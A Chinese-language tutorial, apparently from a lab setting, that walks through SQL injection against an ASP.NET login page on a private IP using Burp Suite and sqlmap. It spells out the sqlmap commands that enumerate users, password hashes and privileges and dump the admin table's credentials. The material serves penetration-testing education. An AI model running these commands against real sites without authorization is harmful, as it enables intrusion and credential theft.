这里选用登录页面/user/login.aspx测试。
通过burpsuite抓包,并得到/user/login.aspx的完整URL以及post到服务器的数据格式。
URL:http:// 192.168.50.100:8013/user/login.aspx?action=dl&name&password
Post的数据格式:“name=aaa&password=aaaa&Submit=%E7%99%BB%E9%99%86”
我们将检测到的结果,拿到SQLmap进行注入攻击。

SQLmap先测试注入点:
Sqlmap检测post注入是,使用-u制定“URL”,–data,制定post的表单数据。
格式如下:sqlmap.py –u “URL” –data “post数据”
这里测试如下:
F:\sqlmap>sqlmap.py -u “http:// 192.168.50.100:8013/user/login.aspx?action=dl&name&password” –data “name=aaa&password=aaaaaa&Submit=%E7%99%BB%E9%99%86”


通过sqlmap检测的数据结果,能够显示name字段存在注入,并检测到服务器短信息为windows2003,IIS6.0,SQL2005的数据库。
在注入时,一般我们都需要如下信息: 数据库banner信息(-b或—banner)、当前数据库名字(–current-db),
当前连接数据库用户名(–current-user),当前数据库主机名(–hostname),当前是否为dba权限(–is-dba),
数据库管理用户名信息(–users),数据库管理用户的密码hash信息(–passwords),用户权限(–privileges),用户的角色(–roles)。
测试如下:
sqlmap.py -u “http://192.168.50.100:8013/user/login.aspx?action=dl&name&password” –data “name=aaa&password=aaaaaa&Submit=%E7%99%BB%E9%99%86” -b –hostname –current-user –current-db –is-dba –users –passwords –privileges –roles



得到数据库的名字。
利用—dbs参数,如果当前用户有权限读取系统表,这里能够得到数据库名字全部信息。
sqlmap.py -u “http://192.168.50.100:8013/user/login.aspx?action=dl&name&password” –data “name=aaa&password=aaaaaa&Submit=%E7%99%BB%E9%99%86” –dbs

sqlmap.py -u “http://192.168.50.100:8013/user/login.aspx?action=dl&name&password” –data “name=aaa&password=aaaaaa&Submit=%E7%99%BB%E9%99%86” –current-db
显示结果如下。

sqlmap.py -u “http://192.168.50.100:8013/user/login.aspx?action=dl&name&password” –data “name=aaa&password=aaaaaa&Submit=%E7%99%BB%E9%99%86” -D asq –tables

sqlmap.py -u “http://192.168.50.100:8013/user/login.aspx?action=dl&name&password” –data “name=aaa&password=aaaaaa&Submit=%E7%99%BB%E9%99%86” -D asq -T admin –columns

sqlmap.py -u “http://192.168.50.100:8013/user/login.aspx?action=dl&name&password” –data “name=aaa&password=aaaaaa&Submit=%E7%99%BB%E9%99%86” -D asq -T admin -C user,password –dump
